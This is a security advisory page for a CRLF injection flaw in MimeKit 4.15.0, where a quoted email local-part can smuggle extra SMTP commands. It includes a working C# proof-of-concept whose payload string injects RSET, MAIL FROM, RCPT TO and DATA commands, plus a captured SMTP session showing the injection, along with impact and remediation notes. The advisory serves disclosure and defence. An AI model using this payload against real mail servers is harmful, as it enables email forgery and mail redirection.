GHSA-G7HC-96XR-GVVX

Vulnerability from github – Published: 2026-03-05 21:50 – Updated: 2026-03-06 22:52
VLAI?
Summary
MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery
Details

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

  • MimeKit 4.15.0 (as tested)
  • MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
  • Accepts untrusted input for sender/recipient addresses, and
  • Constructs MailboxAddress from that input, and
  • Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment: - .NET SDK: 8.0.418 - Target Framework: net8.0 - Packages: MailKit 4.15.0 (with MimeKit 4.15.0) - Use ProtocolLogger to capture the SMTP session and confirm injection.

1) Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>
````

2. PoC program (replace SMTP host/port/address as needed):

```csharp
using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}
  1. Expected result

  2. MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.

  3. The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
  4. tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

  • Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
  • SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

  • SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
  • Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

  • Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

  • Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
  • Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
  • In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
  • Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

  • Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
  • Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.15.0"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "MimeKit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30227"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T21:50:44Z",
    "nvd_published_at": "2026-03-06T21:16:16Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed `\\r\\n` into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional `RCPT TO` / `DATA` / `RSET` commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a `MailboxAddress` (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.\n\nRFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside `Quoted-string` (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by `\u003cCRLF\u003e`, making CRLF injection in command arguments particularly dangerous.\n\n### Details\n\n#### 1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string\n\nRFC 5321 defines:\n\n```text\nmail = \"MAIL FROM:\" Reverse-path [SP Mail-parameters] CRLF\n\nReverse-path = Path / \"\u003c\u003e\"\nPath         = \"\u003c\" [ A-d-l \":\" ] Mailbox \"\u003e\"\nA-d-l        = At-domain *( \",\" At-domain )\nAt-domain    = \"@\" Domain\n\nMailbox         = Local-part \"@\" ( Domain / address-literal )\nLocal-part      = Dot-string / Quoted-string\n\nDot-string      = Atom *(\".\" Atom)\nAtom            = 1*atext\natext = ALPHA / DIGIT / \n        \"!\" / \"#\" / \"$\" / \"%\" / \"\u0026\" / \"\u0027\" / \"*\" / \"+\" / \"-\" / \"/\" / \n        \"=\" / \"?\" / \"^\" / \"_\" / \"`\" / \"{\" / \"|\" / \"}\" / \"~\"\n\n\nQuoted-string   = DQUOTE *QcontentSMTP DQUOTE\nQcontentSMTP    = qtextSMTP / quoted-pairSMTP\nquoted-pairSMTP = %d92 %d32-126\nqtextSMTP       = %d32-33 / %d35-91 / %d93-126\n```\n\nWhen the local part is a quoted string, the characters \u003cCR\u003e and \u003cLF\u003e are not allowed.\n\n#### 2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)\n\nIn the MimeKit 4.15.0 version, when parsing the local part, the \u003cCR\u003e and \u003cLF\u003e characters in the double-quoted form will not be detected.\nAs a result, `MailboxAddress` can accept addresses like `\"attacker\\r\\nRCPT TO:\u003cvictim@target\u003e\\r\\n\"@example.com` as a valid address.\n\n#### 3) Affected components / versions\n\n- MimeKit 4.15.0 (as tested)\n- MailKit 4.15.0 uses/depends on MimeKit 4.15.0\nAny application that:\n- Accepts untrusted input for sender/recipient addresses, and\n- Constructs `MailboxAddress` from that input, and\n- Sends via SMTP (e.g., using MailKit SmtpClient),\nmay be impacted.\n\n### PoC\n\nEnvironment:\n- .NET SDK: 8.0.418\n- Target Framework: net8.0\n- Packages: MailKit 4.15.0 (with MimeKit 4.15.0)\n- Use ProtocolLogger to capture the SMTP session and confirm injection.\n\n1) Create a minimal project:\n\nmimekit_poc.csproj\n```xml\n\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\n\n  \u003cPropertyGroup\u003e\n    \u003cOutputType\u003eExe\u003c/OutputType\u003e\n    \u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\n    \u003cImplicitUsings\u003eenable\u003c/ImplicitUsings\u003e\n    \u003cNullable\u003eenable\u003c/Nullable\u003e\n  \u003c/PropertyGroup\u003e\n\n  \u003cItemGroup\u003e\n    \u003cPackageReference Include=\"MailKit\" Version=\"4.15.0\" /\u003e\n  \u003c/ItemGroup\u003e\n\u003c/Project\u003e\n````\n\n2. PoC program (replace SMTP host/port/address as needed):\n\n```csharp\nusing MailKit.Net.Smtp;\nusing MailKit.Security;\nusing MailKit;\nusing MimeKit;\n\n// === payload and target setting ===\n\nvar smtpHost = \"xx.xx.xx.xx\";\nvar smtpPort = 25;\nvar useTls = false;\n// attack in `MAIL FROM` cmd with address grammar in double quote \nvar payloadEvilMailFromInput = \"\\\"attack\\r\\nRSET\\r\\nMAIL FROM:\u003ckc1zs4@poc.send.com\u003e\\r\\nRCPT TO:\u003cxxx@xxx.xxx.xxx.xxx\u003e\\r\\nDATA\\r\\n.\\r\\nQUIT\\r\\nhere\\\"@poc.send.com\";\n// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt\nvar logDir = Path.Combine(AppContext.BaseDirectory, \"log\");\nDirectory.CreateDirectory(logDir);\nvar timestamp = DateTime.Now.ToString(\"yyyyMMdd_HHmmss_fff\");\nvar logPath = Path.Combine(logDir, $\"smtp_log_{timestamp}\");\n\n\n// === below smtp session ===\n// mimekit api\n\nvar envelopeFrom = new MailboxAddress(\"\", payloadEvilMailFromInput);\nvar envelopeRcpt = new MailboxAddress(\"\", \"\\\"kc1zs4\\\"@poc.recv.com\");\nvar headerFrom = new MailboxAddress(\"Sender\", \"kc1zs4@poc.send.com\");\nvar headerTo = new MailboxAddress(\"Recipient\", \"kc1zs4@poc.recv.com\");\n\nvar message = new MimeMessage();\nmessage.From.Add(headerFrom);\nmessage.To.Add(headerTo);\nmessage.Subject = \"mimekit CRLF injection poc\";\nmessage.Body = new TextPart(\"plain\") { Text = \"Hello from MimeKit 4.15.0\" };\n\ntry {\n    using var protocolLogger = new ProtocolLogger(logPath);\n    using var client = new SmtpClient(protocolLogger);\n\n    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;\n    client.Connect(smtpHost, smtpPort, socketOption);\n\n    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });\n    client.Disconnect(true);\n\n    Console.WriteLine(\"[+] successfully send mail\");\n    Console.WriteLine($\"[+] view smtp session log at: {logPath}\");\n\n} catch (SmtpCommandException ex) {\n\n    Console.Error.WriteLine($\"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}\");\n    Console.Error.WriteLine($\"[!] view smtp session log at: {logPath}\");\n    Environment.ExitCode = 1;\n\n} catch (SmtpProtocolException ex) {\n\n    Console.Error.WriteLine($\"[!] smtp protocol err: {ex.Message}\");\n    Console.Error.WriteLine($\"[!] view smtp session log at: {logPath}\");\n    Environment.ExitCode = 1;\n\n} catch (Exception ex) {\n\n    Console.Error.WriteLine($\"[!] unknown err: {ex.Message}\");\n    Console.Error.WriteLine($\"[!] view smtp session log at: {logPath}\");\n    Environment.ExitCode = 1;\n}\n```\n\n3. Expected result\n\n* `MailboxAddress` accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.\n* The generated SMTP session (captured by ProtocolLogger) shows the `MAIL FROM` line being split by the injected CRLF, followed by attacker-controlled SMTP commands.\n* `tcpdump` also shows the same raw SMTP stream (optional confirmation).\n\nExample (illustrative) excerpt from smtp session log showing the CRLF injection effect:\n\n```txt\nConnected to smtp://xxx.xxx.xxx.xxx:25/\nS: 220 xxx Axigen ESMTP ready\nC: EHLO KC1zs4-TPt14p\nS: 250-xxx Axigen ESMTP hello\nS: 250-PIPELINING\nS: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI\nS: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI\nS: 250-8BITMIME\nS: 250-SIZE 10485760\nS: 250-HELP\nS: 250 OK\nC: MAIL FROM:\u003c\"attack\nC: RSET\nC: MAIL FROM:\u003ckc1zs4@poc.send.com\u003e\nC: RCPT TO:\u003cxxx@xxx.xxx.xxx.xxx\u003e\nC: DATA\nC: .\nC: QUIT\nC: here\"@poc.send.com\u003e SIZE=293\nC: RCPT TO:\u003c\"kc1zs4\"@poc.recv.com\u003e\nS: 553 Invalid mail address\nS: 250 Reset done\nS: 250 Sender accepted\nS: 250 Recipient accepted\nS: 354 Ready to receive data; remember \u003cCRLF\u003e.\u003cCRLF\u003e\nS: 250 Mail queued for delivery\nS: 221-xxx Axigen ESMTP is closing connection\nS: 221 Good bye\nC: RSET\n```\n\nNotes:\n\n* Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via `MailboxAddress`) is sufficient to demonstrate the vulnerability class and protocol non-compliance.\n* SMTP commands are terminated by `\u003cCRLF\u003e`, so CRLF-in-argument is structurally hazardous by design.\n\n### Impact\n\nVulnerability class:\n\n* SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).\n* Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).\n\nWho is impacted:\n\n* Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied \u201cFrom\u201d address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).\n\nPotential consequences:\n\n* Add or modify SMTP recipients by injecting extra `RCPT TO` commands (mail redirection / data exfiltration).\n* Corrupt the SMTP transaction state (`RSET`, `NOOP`, etc.) or attempt early `DATA` injection (server-dependent).\n* In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).\n* Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.\n\nSuggested remediation (high level):\n\n* Reject `\\r` and `\\n` in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.\n* Align quoted local-part parsing with RFC 5321\u2019s `qtextSMTP` and `quoted-pairSMTP` ranges (no control characters).",
  "id": "GHSA-g7hc-96xr-gvvx",
  "modified": "2026-03-06T22:52:51Z",
  "published": "2026-03-05T21:50:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jstedfast/MimeKit/security/advisories/GHSA-g7hc-96xr-gvvx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30227"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jstedfast/MimeKit"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…